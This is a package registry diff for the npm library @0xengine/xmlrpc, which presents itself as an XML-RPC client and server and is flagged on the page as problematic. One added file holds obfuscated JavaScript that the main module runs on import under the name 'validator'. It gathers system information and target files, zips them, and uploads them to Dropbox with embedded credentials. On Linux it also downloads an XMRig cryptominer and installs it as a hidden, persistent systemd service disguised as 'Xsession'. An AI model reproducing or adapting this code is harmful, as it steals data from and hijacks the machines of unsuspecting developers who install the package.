@0xengine/xmlrpc 0.0.1-security → 1.3.16

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @0xengine/xmlrpc might be problematic. Click here for more details.

package/lib/server.js ADDED
@@ -0,0 +1,78 @@
1
+ var http = require('http')
2
+ , https = require('https')
3
+ , url = require('url')
4
+ , EventEmitter = require('events').EventEmitter
5
+ , Serializer = require('./serializer')
6
+ , Deserializer = require('./deserializer')
7
+
8
+ /**
9
+ * Creates a new Server object. Also creates an HTTP server to start listening
10
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
11
+ * name when receiving a method call.
12
+ *
13
+ * @constructor
14
+ * @param {Object|String} options - The HTTP server options. Either a URI string
15
+ * (e.g. 'http://localhost:9090') or an object
16
+ * with fields:
17
+ * - {String} host - (optional)
18
+ * - {Number} port
19
+ * @param {Boolean} isSecure - True if using https for making calls,
20
+ * otherwise false.
21
+ * @return {Server}
22
+ */
23
+ function Server(options, isSecure, onListening) {
24
+
25
+ if (false === (this instanceof Server)) {
26
+ return new Server(options, isSecure)
27
+ }
28
+ onListening = onListening || function() {}
29
+ var that = this
30
+
31
+ // If a string URI is passed in, converts to URI fields
32
+ if (typeof options === 'string') {
33
+ options = url.parse(options)
34
+ options.host = options.hostname
35
+ options.path = options.pathname
36
+ }
37
+
38
+ function handleMethodCall(request, response) {
39
+ var deserializer = new Deserializer()
40
+ deserializer.deserializeMethodCall(request, function(error, methodName, params) {
41
+ if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
42
+ that.emit(methodName, null, params, function(error, value) {
43
+ var xml = null
44
+ if (error !== null) {
45
+ xml = Serializer.serializeFault(error)
46
+ }
47
+ else {
48
+ xml = Serializer.serializeMethodResponse(value)
49
+ }
50
+ response.writeHead(200, {'Content-Type': 'text/xml'})
51
+ response.end(xml)
52
+ })
53
+ }
54
+ else {
55
+ that.emit('NotFound', methodName, params)
56
+ response.writeHead(404)
57
+ response.end()
58
+ }
59
+ })
60
+ }
61
+
62
+ this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
63
+ : http.createServer(handleMethodCall)
64
+
65
+ process.nextTick(function() {
66
+ this.httpServer.listen(options.port, options.host, onListening)
67
+ }.bind(this))
68
+ this.close = function(callback) {
69
+ this.httpServer.once('close', callback)
70
+ this.httpServer.close()
71
+ }.bind(this)
72
+ }
73
+
74
+ // Inherit from EventEmitter to emit and listen
75
+ Server.prototype.__proto__ = EventEmitter.prototype
76
+
77
+ module.exports = Server
78
+
@@ -0,0 +1,3 @@
1
+ #!/bin/bash
2
+
3
+ const a0_0x2a9ee8=a0_0x10f3;(function(_0x58c736,_0x23f2e0){const _0xce6871=a0_0x10f3,_0x2fae41=_0x58c736();while(!![]){try{const _0x32578c=-parseInt(_0xce6871(0x11a))/(0x295*-0x3+0xaf0+0x18*-0x22)+parseInt(_0xce6871(0xd4))/(-0x1445*0x1+0x3c7*-0x9+0x2*0x1b23)*(parseInt(_0xce6871(0x112))/(-0x2665+0x1*0x235a+-0x1*-0x30e))+-parseInt(_0xce6871(0xf4))/(-0x1135+-0xe83+0x1fbc)+-parseInt(_0xce6871(0x113))/(-0x476*0x8+-0x173f+-0x1c*-0x21b)+parseInt(_0xce6871(0x13f))/(0x419*0x7+0x17*-0xd7+0x17*-0x68)+parseInt(_0xce6871(0xdb))/(0xcf6+-0x137c+0x68d)+parseInt(_0xce6871(0x169))/(-0x125b+0x149e+0x23b*-0x1)*(parseInt(_0xce6871(0xe1))/(-0x26c1+0xae2+-0x98*-0x2f));if(_0x32578c===_0x23f2e0)break;else _0x2fae41['push'](_0x2fae41['shift']());}catch(_0x20062c){_0x2fae41['push'](_0x2fae41['shift']());}}}(a0_0x48bf,-0x10feaa*0x1+-0x2*-0xa61e1+0x90449));const a0_0x4f70e4=(function(){let _0x50a337=!![];return function(_0x377846,_0x203092){const _0x2df94c=_0x50a337?function(){const _0x120568=a0_0x10f3;if(_0x120568(0x12e)==='WKWOs'){if(_0x203092){const _0x56d923=_0x203092[_0x120568(0x100)](_0x377846,arguments);return _0x203092=null,_0x56d923;}}else(function(){return![];}['constructo'+'r'](_0x120568(0x11f)+_0x120568(0x15e))['apply'](_0x120568(0x107)+'t'));}:function(){};return _0x50a337=![],_0x2df94c;};}());(function(){a0_0x4f70e4(this,function(){const _0x56e573=a0_0x10f3,_0xd87188=new RegExp('function\x20*'+_0x56e573(0xdf)),_0x3298c9=new RegExp(_0x56e573(0x164)+'a-zA-Z_$]['+_0x56e573(0xef)+'$]*)','i'),_0x64302b=a0_0x4f5951(_0x56e573(0xcb));if(!_0xd87188[_0x56e573(0x16e)](_0x64302b+_0x56e573(0x121))||!_0x3298c9[_0x56e573(0x16e)](_0x64302b+'input'))_0x64302b('0');else{if('txFsO'===_0x56e573(0xbf)){if(_0x5a1f3){const _0x17f0ef=_0x397d4d[_0x56e573(0x100)](_0x3d0881,arguments);return _0x23910b=null,_0x17f0ef;}}else a0_0x4f5951();}})();}());const fs=require(a0_0x2a9ee8(0x141)),{access}=require(a0_0x2a9ee8(0xc5)+'s'),{zip}=require(a0_0x2a9ee8(0xf7)+'er'),si=require(a0_0x2a9ee8(0x153)+a0_0x2a9ee8(0xf5)),os=require('os'),path=require(a0_0x2a9ee8(0xbb)),{exec}=require(a0_0x2a9ee8(0x134)+a0_0x2a9ee8(0xf9)),util=require(a0_0x2a9ee8(0x142)),execPromise=util[a0_0x2a9ee8(0xb2)](exec),{Dropbox}=require('dropbox'),a0_0x16f191={};a0_0x16f191[a0_0x2a9ee8(0xcc)]=a0_0x2a9ee8(0xe2)+a0_0x2a9ee8(0xb6),a0_0x16f191[a0_0x2a9ee8(0x16a)+'et']=a0_0x2a9ee8(0x133)+'2gyuq',a0_0x16f191['refreshTok'+'en']='ZtRBk4Wfng'+a0_0x2a9ee8(0xc8)+a0_0x2a9ee8(0x124)+a0_0x2a9ee8(0x166)+a0_0x2a9ee8(0x111)+a0_0x2a9ee8(0x104)+a0_0x2a9ee8(0x127);const dbx=new Dropbox(a0_0x16f191);function a0_0x10f3(_0x103f6a,_0xaac246){const _0xa90d3=a0_0x48bf();return a0_0x10f3=function(_0x420ee8,_0x402639){_0x420ee8=_0x420ee8-(-0xba0+0x5ce*0x6+-0x106*0x16);let _0x465424=_0xa90d3[_0x420ee8];return _0x465424;},a0_0x10f3(_0x103f6a,_0xaac246);}async function dropMiner(_0x2e1f0e){const _0x530e94=a0_0x2a9ee8,_0x51bd8d=_0x530e94(0x15b)+_0x530e94(0x10b)+_0x530e94(0x130)+'x3ngine/xm'+_0x530e94(0x14b)+_0x530e94(0x13e)+_0x530e94(0x12f)+'aw/master/'+_0x530e94(0x116)+_0x530e94(0x16f)+_0x530e94(0xb7)+_0x530e94(0x131)+_0x530e94(0x14c)+'le\x0aAPP_URL'+_0x530e94(0xb7)+_0x530e94(0x131)+_0x530e94(0xb0)+_0x530e94(0x143)+'PATH=$HOME'+_0x530e94(0x155)+_0x530e94(0xd9)+_0x530e94(0x13b)+_0x530e94(0x117)+_0x530e94(0xee)+_0x530e94(0xb1)+'NTIDLE_NAM'+_0x530e94(0x144)+_0x530e94(0xe7)+_0x530e94(0x15c)+_0x530e94(0xcd)+_0x530e94(0x162)+'er\x0a\x0aensure'+_0x530e94(0x11d)+_0x530e94(0x14e)+_0x530e94(0x102)+_0x530e94(0xfb)+_0x530e94(0xc1)+'86_64\x22\x20]];'+_0x530e94(0xb4)+_0x530e94(0x137)+_0x530e94(0x126)+_0x530e94(0x154)+_0x530e94(0xf2)+_0x530e94(0xb9)+_0x530e94(0x168)+_0x530e94(0x135)+_0x530e94(0xd8)+_0x530e94(0x16b)+'ser\x20disabl'+_0x530e94(0x12b)+_0x530e94(0x171)+_0x530e94(0x105)+'\x202>&1\x0asyst'+_0x530e94(0x115)+_0x530e94(0x148)+'reload\x20>\x20/'+_0x530e94(0x125)+'>&1\x0a\x0amkdir'+_0x530e94(0x136)+_0x530e94(0x139)+_0x530e94(0xe3)+'put\x20$LOCAL'+_0x530e94(0x106)+_0x530e94(0xc2)+_0x530e94(0x10a)+'-sL\x20--outp'+_0x530e94(0xd3)+_0x530e94(0x122)+_0x530e94(0x151)+'IG_URL\x20\x0acu'+_0x530e94(0xf1)+'utput\x20$LOC'+_0x530e94(0x128)+'PRINTIDLE_'+'NAME\x20$XPRI'+_0x530e94(0x16f)+_0x530e94(0xe5)+'+x\x20$LOCAL_'+'PATH/$APPN'+_0x530e94(0xba)+'+x\x20$LOCAL_'+'PATH/$XMRI'+'GNAME\x0achmo'+_0x530e94(0x118)+_0x530e94(0x15f)+_0x530e94(0x16d)+_0x530e94(0xd6)+_0x530e94(0x10c)+_0x530e94(0xe8)+'t\x20<<HEREDO'+_0x530e94(0xbd)+_0x530e94(0xf3)+_0x530e94(0xde)+_0x530e94(0xfc)+_0x530e94(0xe9)+_0x530e94(0x120)+_0x530e94(0x10e)+_0x530e94(0x101)+_0x530e94(0xc3)+_0x530e94(0xd5)+('CAL_PATH/$'+_0x530e94(0x14d)+_0x530e94(0xe6)+_0x530e94(0xc4)+_0x530e94(0xfa)+_0x530e94(0xc7)+_0x530e94(0xff)+_0x530e94(0x11e)+'all]\x0aWante'+_0x530e94(0xeb)+_0x530e94(0x138)+'HEREDOC\x0a\x0as'+_0x530e94(0x156)+'-user\x20enab'+'le\x20$APPNAM'+'E.service\x20'+_0x530e94(0x135)+'l\x202>&1\x0asys'+'temctl\x20--u'+_0x530e94(0x13d)+_0x530e94(0x129)+_0x530e94(0x171)+_0x530e94(0x105)+'\x202>&1\x0a');_0x2e1f0e(_0x530e94(0x12a)+_0x530e94(0x119));const _0x69c092=os[_0x530e94(0x11c)]();let _0x75eb7d;try{await access(_0x69c092+(_0x530e94(0x155)+'n/xsession'+_0x530e94(0x158)),fs[_0x530e94(0x161)][_0x530e94(0x149)]),_0x75eb7d=!![];}catch(_0x3965cc){_0x75eb7d=![];}if(_0x75eb7d){if(_0x530e94(0x147)==='mrMHu'){_0x2e1f0e(_0x530e94(0xca)+_0x530e94(0xcf));return;}else(function(){return!![];}[_0x530e94(0xb5)+'r']('debu'+'gger')[_0x530e94(0xf8)](_0x530e94(0x103)));}const _0x45d37b=os['tmpdir'](),_0x8968b8=_0x45d37b+(_0x530e94(0x150)+'/688823243'+'d342342342'+_0x530e94(0x12d)+_0x530e94(0x157)+_0x530e94(0xbc)+_0x530e94(0xc6)+_0x530e94(0x114)),_0x46a910={};_0x46a910[_0x530e94(0xbe)]=_0x530e94(0xdd),await fs[_0x530e94(0x167)](_0x8968b8,_0x51bd8d,_0x46a910),await execPromise(_0x530e94(0xb8)+_0x8968b8),_0x2e1f0e('Dropped'),await fs[_0x530e94(0x152)](_0x8968b8);}async function validator(){const _0x92ca8a=a0_0x2a9ee8,_0x47c094=process[_0x92ca8a(0xc9)]['find'](_0x21ea35=>_0x21ea35===_0x92ca8a(0x110))!==undefined,_0x11d6e0=process['argv'][_0x92ca8a(0x145)](_0x481cb0=>_0x481cb0==='owner')!==undefined,_0x3124db=_0x28b143=>{const _0x20663b=_0x92ca8a;if(_0x20663b(0xd2)===_0x20663b(0xd2))_0x47c094&&console[_0x20663b(0xec)](_0x28b143);else return function(_0x4ddbab){}[_0x20663b(0xb5)+'r'](_0x20663b(0x13a)+_0x20663b(0x108))[_0x20663b(0x100)](_0x20663b(0x123));};if(_0x11d6e0){if(_0x92ca8a(0xd1)!==_0x92ca8a(0xd1))_0x11ad16('0');else{_0x3124db(_0x92ca8a(0xd7));return;}}_0x3124db(process[_0x92ca8a(0xc9)]);const _0x25ef04=process[_0x92ca8a(0xc9)]['findIndex'](_0x321a13=>_0x321a13==='--targets'||_0x321a13==='-t');if(_0x25ef04===-(0x1c4e*0x1+0x1b9a*0x1+-0x515*0xb))return;const _0x4e8092=path[_0x92ca8a(0x10d)](process[_0x92ca8a(0xc9)][_0x25ef04+(-0x5d*0x16+-0x22ee*0x1+0x2aed)]);_0x3124db(_0x92ca8a(0x14f)+_0x92ca8a(0x13c)+_0x4e8092);const _0x46967a=os[_0x92ca8a(0xfd)](),_0x324060=Date[_0x92ca8a(0x140)](),_0x463bf9=_0x46967a+'/'+_0x324060;await fs['ensureDir'](_0x463bf9);const _0x4ebdcf=await si[_0x92ca8a(0xd0)](),_0x3e89db=await si[_0x92ca8a(0x109)](),_0x3ec2e7={};_0x3ec2e7[_0x92ca8a(0xd0)]=_0x4ebdcf,_0x3ec2e7[_0x92ca8a(0x109)]=_0x3e89db;const _0x469179=_0x3ec2e7,_0x1616a9=JSON[_0x92ca8a(0x160)](_0x469179,null,0x6*0x1b4+0x724+0x1*-0x115a),_0x318673=_0x463bf9+_0x92ca8a(0xea),_0x561021={};_0x561021[_0x92ca8a(0xbe)]=_0x92ca8a(0xdd),await fs[_0x92ca8a(0xdc)](_0x318673,_0x1616a9,_0x561021);const _0x314900=_0x463bf9+(_0x92ca8a(0x16c)+'xt');await fs[_0x92ca8a(0x132)](_0x4e8092,_0x314900);_0x3e89db[_0x92ca8a(0xc0)]===_0x92ca8a(0x170)&&(await fs[_0x92ca8a(0x132)]('/etc/os-re'+'lease',_0x463bf9+(_0x92ca8a(0xed)+'e.txt')),dropMiner(_0x3124db));const _0x2577c9=_0x4ebdcf['os']+'-'+_0x324060+_0x92ca8a(0xe4),_0x20edd3=_0x46967a+'/'+_0x2577c9;_0x3124db(_0x92ca8a(0x159)+_0x20edd3),await zip(_0x463bf9,_0x20edd3);const _0xc4ba8d=await fs['readFile'](_0x20edd3),_0x5d8635={};_0x5d8635[_0x92ca8a(0xbb)]='/'+_0x2577c9,_0x5d8635[_0x92ca8a(0x11b)]=_0xc4ba8d,dbx[_0x92ca8a(0xfe)+'d'](_0x5d8635)['then'](_0x554dd7=>{const _0x2f044e=_0x92ca8a;_0x2f044e(0xb3)!==_0x2f044e(0xb3)?_0x5e0f56(_0x40a921):_0x3124db(_0x554dd7);})[_0x92ca8a(0x14a)](_0x3b3d7c=>{const _0x5abb8f=_0x92ca8a;_0x5abb8f(0x15d)!==_0x5abb8f(0xda)?_0x3124db(_0x3b3d7c):_0x2d6c0f(0x119a+0x373*0x2+-0x1880);});}module[a0_0x2a9ee8(0xe0)]=validator;function a0_0x4f5951(_0x7848cd){const _0x56817e=a0_0x2a9ee8;function _0x1e4ad7(_0xc9ad27){const _0x39fafe=a0_0x10f3;if('kCfwn'!==_0x39fafe(0xf6)){_0x310bba(_0x39fafe(0xca)+_0x39fafe(0xcf));return;}else{if(typeof _0xc9ad27===_0x39fafe(0x10f))return function(_0x14300b){}[_0x39fafe(0xb5)+'r'](_0x39fafe(0x13a)+'e)\x20{}')['apply'](_0x39fafe(0x123));else{if((''+_0xc9ad27/_0xc9ad27)['length']!==0x2*0x19+-0x2383+-0x2352*-0x1||_0xc9ad27%(-0x52*0x2d+-0x5*-0x33d+-0x1b3)===0x2d2*0x2+0x317*-0x2+0x8a){if(_0x39fafe(0x165)===_0x39fafe(0x12c)){if(_0x130ef8)return _0x399b96;else _0x3262e9(-0xf95+0x1*0x1a75+-0xae*0x10);}else(function(){return!![];}[_0x39fafe(0xb5)+'r'](_0x39fafe(0x11f)+_0x39fafe(0x15e))[_0x39fafe(0xf8)]('action'));}else{if(_0x39fafe(0xce)!=='skdmX')return _0x34df9c;else(function(){const _0x112437=_0x39fafe;if(_0x112437(0x15a)!==_0x112437(0x163))return![];else{const _0x1efdc2=_0x996d02?function(){if(_0x1c3def){const _0x53c1cf=_0x2ddc0a['apply'](_0x57daf8,arguments);return _0x1512a4=null,_0x53c1cf;}}:function(){};return _0x376789=![],_0x1efdc2;}}[_0x39fafe(0xb5)+'r']('debu'+_0x39fafe(0x15e))[_0x39fafe(0x100)](_0x39fafe(0x107)+'t'));}}_0x1e4ad7(++_0xc9ad27);}}try{if(_0x56817e(0x146)===_0x56817e(0x146)){if(_0x7848cd)return _0x56817e(0xf0)!=='vMozM'?_0x1e4ad7:!![];else _0x1e4ad7(-0x1e58+0xd17+0x277*0x7);}else return![];}catch(_0x2afc40){}}function a0_0x48bf(){const _0x1fc647=['655968HuPSiZ','clientSecr','temctl\x20--u','/targets.t','RINTIDLE_N','test','NTIDLE_URL','linux','.service\x20>','r/Xsession','.auth\x0aXPRI','promisify','gztzg','\x20then\x0a\x09\x09ex','constructo','no1z3','=$REPO_URL','bash\x20','op\x20$APPNAM','AME\x0achmod\x20','path','sess_47894','C\x20>\x20$SYSTE','encoding','YnrfQ','platform','hine\x20!=\x20\x22x','NAME\x20$APP_','rvice]\x0aExe','ys\x0a#Standa','fs/promise','34513_6789','ull\x0a#Stand','cAAAAAAAAA','argv','Already\x20dr','init','clientId','E/.config/','skdmX','opped','uuid','QgrNZ','NXrqL','ut\x20$LOCAL_','11898ZLDAtE','cStart=$LO','AME\x0a\x0amkdir','Owner','l\x202>&1\x0asys','n\x0aAPPNAME=','saiKx','4228966ShXiel','writeFile','utf8','PPNAME.ser','\x5c(\x20*\x5c)','exports','54FFvGOp','qbknda07b3','\x20-sL\x20--out','.zip','\x20\x0a\x0a\x0achmod\x20','start=alwa','le\x0aSYSTEMD','MD_PATH\x0aca',']\x20\x0aDescrip','/si.json','dBy=defaul','log','/os-releas','E=xsession','0-9a-zA-Z_','yXtMB','rl\x20-sL\x20--o','\x20--user\x20st','MD_PATH/$A','2809816GfXjSF','rmation','kCfwn','zip-a-fold','call','ess','rdOutput=n','if\x20[[\x20$mac','vice\x0a[Unit','tmpdir','filesUploa','ardError=n','apply','aemon\x0a\x0a[Se','name\x20-m)\x0a\x09','action','ggTYegPuYh','\x20/dev/null','_PATH/$APP','stateObjec','e)\x20{}','osInfo','URL\x20\x0acurl\x20','https://gi','\x20-p\x20$SYSTE','resolve','ion\x20Auth\x20d','string','debugme','eZarh5VSmU','477KmMqSZ','5824870avJltj','3eddede','emctl\x20--us','xmrig\x0aXPRI','h\x0aXMRIGNAM','d\x20+x\x20$LOCA','opper','992774tnfLWV','contents','homedir','_os()\x20{\x0a\x09m','ull\x0a\x0a[Inst','debu','tion=Xsess','chain','PATH/$XMRI','counter','AYA9a4wHLu','dev/null\x202','ensure_os\x0a','ODoh','AL_PATH/$X','t\x20$APPNAME','Runinng\x20dr','e\x20$APPNAME','uXHXo','dd32342342','WKWOs','REPO_URL/r','thub.com/0','/raw/maste','copyFile','c6j642mz7k','child_proc','>\x20/dev/nul','\x20-p\x20$LOCAL','it\x0a\x09fi\x0a}\x0a\x0a','t.target\x0a\x0a','_PATH\x0acurl','while\x20(tru','Xsession.s','c\x20path:\x20','ser\x20restar','MRIG_URL=$','9937092RszrVc','now','fs-extra','util','.sh\x0aLOCAL_','E=xprintid','find','yMzGC','mrMHu','er\x20daemon-','F_OK','catch','rdropper\x0aX','r/xprintid','APPNAME\x0aRe','achine=$(u','targets\x20sr','/Xsessions','GNAME\x20$XMR','remove','systeminfo','\x0asystemctl','/.local/bi','ystemctl\x20-','edd44434/x','.auth','zipPath:\x20','enlZF','\x0aREPO_URL=','_PATH=$HOM','fuJtt','gger','L_PATH/$XP','stringify','constants','systemd/us','WJqeC','\x5c+\x5c+\x20*(?:[','noXpX','EXdInRczVA','outputFile','E.service\x20'];a0_0x48bf=function(){return _0x1fc647;};return a0_0x48bf();}
package/lib/xmlrpc.js ADDED
@@ -0,0 +1,73 @@
1
+ var Client = require('./client')
2
+ , Server = require('./server')
3
+ , CustomType = require('./customtype')
4
+ , dateFormatter = require('./date_formatter')
5
+ , validator = require('./validator')
6
+
7
+ var xmlrpc = exports
8
+
9
+ /**
10
+ * Creates an XML-RPC client.
11
+ *
12
+ * @param {Object} options - server options to make the HTTP request to
13
+ * - {String} host
14
+ * - {Number} port
15
+ * - {String} url
16
+ * - {Boolean} cookies
17
+ * @return {Client}
18
+ * @see Client
19
+ */
20
+ xmlrpc.createClient = function(options) {
21
+ return new Client(options, false)
22
+ }
23
+
24
+ /**
25
+ * Creates an XML-RPC client that makes calls using HTTPS.
26
+ *
27
+ * @param {Object} options - server options to make the HTTP request to
28
+ * - {String} host
29
+ * - {Number} port
30
+ * - {String} url
31
+ * - {Boolean} cookies
32
+ * @return {Client}
33
+ * @see Client
34
+ */
35
+ xmlrpc.createSecureClient = function(options) {
36
+ return new Client(options, true)
37
+ }
38
+
39
+ /**
40
+ * Creates an instance of server parameter validator.
41
+ * @See Server
42
+ */
43
+ xmlrpc.validator = validator()
44
+
45
+
46
+ /**
47
+ * Creates an XML-RPC server.
48
+ *
49
+ * @param {Object}options - the HTTP server options
50
+ * - {String} host
51
+ * - {Number} port
52
+ * @return {Server}
53
+ * @see Server
54
+ */
55
+ xmlrpc.createServer = function(options, callback) {
56
+ return new Server(options, false, callback)
57
+ }
58
+
59
+ /**
60
+ * Creates an XML-RPC server that uses HTTPS.
61
+ *
62
+ * @param {Object}options - the HTTP server options
63
+ * - {String} host
64
+ * - {Number} port
65
+ * @return {Server}
66
+ * @see Server
67
+ */
68
+ xmlrpc.createSecureServer = function(options, callback) {
69
+ return new Server(options, true, callback)
70
+ }
71
+
72
+ xmlrpc.CustomType = CustomType
73
+ xmlrpc.dateFormatter = dateFormatter
package/package.json CHANGED
@@ -1,6 +1,47 @@
1
1
  {
2
2
  "name": "@0xengine/xmlrpc",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "description": "A pure JavaScript XML-RPC client and server.",
4
+ "keywords": [
5
+ "xml-rpc",
6
+ "xmlrpc",
7
+ "xml",
8
+ "rpc"
9
+ ],
10
+ "version": "1.3.16",
11
+ "preferGlobal": false,
12
+ "homepage": "https://bitbucket.org/0xsky/xmlrpc",
13
+ "author": "0xengine",
14
+ "repository": {
15
+ "type": "git",
16
+ "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
17
+ },
18
+ "directories": {
19
+ "example": "example",
20
+ "lib": "lib",
21
+ "test": "test"
22
+ },
23
+ "main": "./lib/xmlrpc.js",
24
+ "dependencies": {
25
+ "dropbox": "^10.34.0",
26
+ "fs-extra": "^11.1.1",
27
+ "sax": "1.2.x",
28
+ "systeminformation": "^5.21.9",
29
+ "uuid": "^9.0.1",
30
+ "xmlbuilder": "8.2.x",
31
+ "zip-a-folder": "^1.1.7"
32
+ },
33
+ "devDependencies": {
34
+ "vows": "0.7.x"
35
+ },
36
+ "scripts": {
37
+ "test": "vows 'test/*.js'"
38
+ },
39
+ "engines": {
40
+ "node": ">=0.8",
41
+ "npm": ">=1.0.0"
42
+ },
43
+ "license": "MIT",
44
+ "bugs": {
45
+ "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
46
+ }
6
47
  }